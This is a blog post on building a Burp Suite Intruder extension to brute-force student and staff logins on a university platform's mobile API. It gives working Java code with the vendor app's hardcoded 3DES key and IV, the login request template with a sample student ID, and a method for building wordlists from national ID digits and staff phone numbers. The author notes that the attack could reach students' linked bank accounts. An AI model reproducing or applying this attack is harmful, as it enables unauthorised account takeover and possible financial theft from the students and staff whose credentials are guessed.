Developing a Burp Suite Extension to Brute-Force a Platform

Wednesday, March 29, 2017 🌐中文

Introduction

Our campus network has officially gone into operation, but the username/password policy is still a default-password scheme: the password is the last six digits of the national ID number. For any platform that uses single sign-on (SSO), this is extremely dangerous.

For example, if a university’s student IDs are publicly accessible online and the password is the last six digits of the ID number, then once you log into their campus card system you might be able to spend money from a student’s linked bank account.

My school uses CAS to implement SSO, which makes brute-forcing inconvenient. So instead, I brute-forced via the platform app’s API.

Prepare

Environment:

  • OS: Arch Linux
  • Kernel: x86_64 Linux 4.9.8-1-ARCH
  • Shell: zsh 5.3.1
  • DE: KDE5
  • IDE: IntelliJ IDEA 2016.1
  • JDK: 1.8.0_121
  • Build Tool: Gradle 3.3

Quick learning: the API

Interfaces you need to implement

IBurpExtender

All extensions must implement this interface. The implementation must be declared public and must provide a default (public, no-argument) constructor.

All extensions must implement this interface. Implementations must be called BurpExtender, in the package burp, must be declared public, and must provide a default (public, no-argument) constructor.

IIntruderPayloadGeneratorFactory

Payload generator factory, used to provide payload generator instances.

Extensions can implement this interface and then call IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() to register a factory for custom Intruder payloads.

IIntruderPayloadProcessor

Payload processor, used to process incoming parameters.

Extensions can implement this interface and then call IBurpExtenderCallbacks.registerIntruderPayloadProcessor() to register a custom Intruder payload processor.

Commonly used interfaces / methods

IExtensionHelpers

This interface contains many helper methods for common tasks in Burp extension development.

This interface contains a number of helper methods, which extensions can use to assist with various common tasks that arise for Burp extensions. Extensions can call IBurpExtenderCallbacks.getHelpers to obtain an instance of this interface.

registerExtenderCallbacks

This method is invoked when the extension is loaded. It registers an instance of IBurpExtenderCallbacks, which provides many commonly used operations for plugin development.

This method is invoked when the extension is loaded. It registers an instance of the IBurpExtenderCallbacks interface, providing methods that may be invoked by the extension to perform various actions.

IIntruderPayloadGenerator

This interface is used for custom Intruder payload generators. When starting a new Intruder attack, your extension registers an IIntruderPayloadGeneratorFactory and must return a new instance implementing this interface. This effectively registers your plugin as an Intruder payload generator.

This interface is used for custom Intruder payload generators. Extensions that have registered an IIntruderPayloadGeneratorFactory must return a new instance of this interface when required as part of a new Intruder attack.

Start

Using Intruder

Download the app, extract the DEX, convert it to a JAR, then analyze the encryption algorithm inside:

dex2jar mportal.dex
jd-gui mportal.jar

The analysis process is described in a previous post:

Reverse Engineering a Campus Android Platform App

First, use Burp Suite to capture the login request. Press Ctrl + I to send it to Intruder. Then add payload markers to the value after action (i.e., wrap it with § markers).

Intruder

Switch to the Payloads tab and set the type to Custom iterator.

payload

Then, based on what you found during decompilation, construct the plaintext that will be fed into the payload generator:

Position1: method=checkUserLoginIFS&idNumber=
Position2: Student/staff ID is 20135120100314
Position3: &UserPwd=
Position4: Import your password dictionary here
Position5: &logonIP=8.8.8.8

Preparing the wordlist

Besides weak passwords, you should also add a bit of social engineering. The default platform password is the last six digits of the national ID number.

We used crunch to generate the last six digits of the ID number, and put candidates containing X at the end.

We also included the school’s landline phone numbers. They were available for download from the official source, so there was no need to generate them ourselves.

tel

Writing the extension

I didn’t use a payload Generator here, because I brute-forced using a pre-generated wordlist. If you want to generate values in code, you can implement the Generator interface.

BurpExtender.java

package burp;

public class BurpExtender implements IBurpExtender, IIntruderPayloadProcessor
{
    private IExtensionHelpers helpers;

    @Override
    public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks)
    {
        // obtain an extension helpers object
        helpers = callbacks.getHelpers();

        // set our extension name
        callbacks.setExtensionName("Neusoft DCP");

        // register ourselves as an Intruder payload processor
        callbacks.registerIntruderPayloadProcessor(this);
    }

    @Override
    public String getProcessorName()
    {
        return "NeusoftDESEncode";
    }

    @Override
    public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue)
    {
        String dataParameter = helpers.bytesToString(currentPayload);
        EncryptData enc = new EncryptData();
        return helpers.stringToBytes(enc.encrypt(dataParameter));
    }

}

EncryptData.java

package burp;

import java.io.IOException;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESedeKeySpec;
import javax.crypto.spec.IvParameterSpec;

public class EncryptData
{
    private static EncryptData SingleEncryptData = null;
    byte[] encryptKey;
    DESedeKeySpec spec;
    SecretKeyFactory keyFactory;
    static SecretKey theKey;
    static Cipher cipher;
    static IvParameterSpec IvParameters;

    public static EncryptData getInstance()
    {
        if (SingleEncryptData == null) {
            SingleEncryptData = new EncryptData();
        }
        return SingleEncryptData;
    }

    public EncryptData()
    {
        try
        {
            try
            {
                Cipher localCipher = Cipher.getInstance("DESede");
            }
            catch (Exception e)
            {
                System.err.println("Installling SunJCE provider.");
            }
            this.encryptKey = "neusofteducationplatform".getBytes();
            System.out.println(this.encryptKey);

            this.spec = new DESedeKeySpec(this.encryptKey);

            this.keyFactory = SecretKeyFactory.getInstance("DESede");

            theKey = this.keyFactory.generateSecret(this.spec);

            cipher = Cipher.getInstance("DESede/CBC/PKCS5Padding");

            IvParameters = new IvParameterSpec("01234567".getBytes());
        }
        catch (Exception localException2) {}
    }

    public static String encrypt(String rawString)
    {
        byte[] encryptedString = null;
        try
        {
            cipher.init(1, theKey, IvParameters);

            byte[] plaintBytes = rawString.getBytes();

            encryptedString = cipher.doFinal(plaintBytes);
        }
        catch (Exception localException) {}
        return byteToHex(encryptedString);
    }

    private static final byte[] HEXBYTES = { 48, 49, 50, 51, 52, 53, 54, 55, 56,
            57, 97, 98, 99, 100, 101, 102 };
    private static final String HEXINDEX = "0123456789abcdef0123456789ABCDEF";

    public static String byteToHex(byte[] b)
    {
        int len = b.length;
        char[] s = new char[len * 2];
        int i = 0;
        for (int j = 0; i < len; i++)
        {
            int c = b[i] & 0xFF;
            s[(j++)] = ((char)HEXBYTES[(c >> 4 & 0xF)]);
            s[(j++)] = ((char)HEXBYTES[(c & 0xF)]);
        }
        return new String(s);
    }

}

Build the extension JAR and import it

The project uses Gradle. Running the following in the project directory will output a JAR to the specified directory:

gradle task fatJar
output: build/libs/IntruderPayloads-all.jar

Add the extension under the Extender tab and verify it loads correctly:

Extender

Select the extension we wrote under Payload Processing:

Processing

To save time and make testing easier, I added several incorrect passwords and one correct password. You can see the successful result below:

result

Reference

Burp Ext API

Intruder payloads Sample

BurpSuite插件开发指南之 API

CybersecurityBurpExtenderIntruder

ngrok Notes

Building OpenWrt Firmware from Source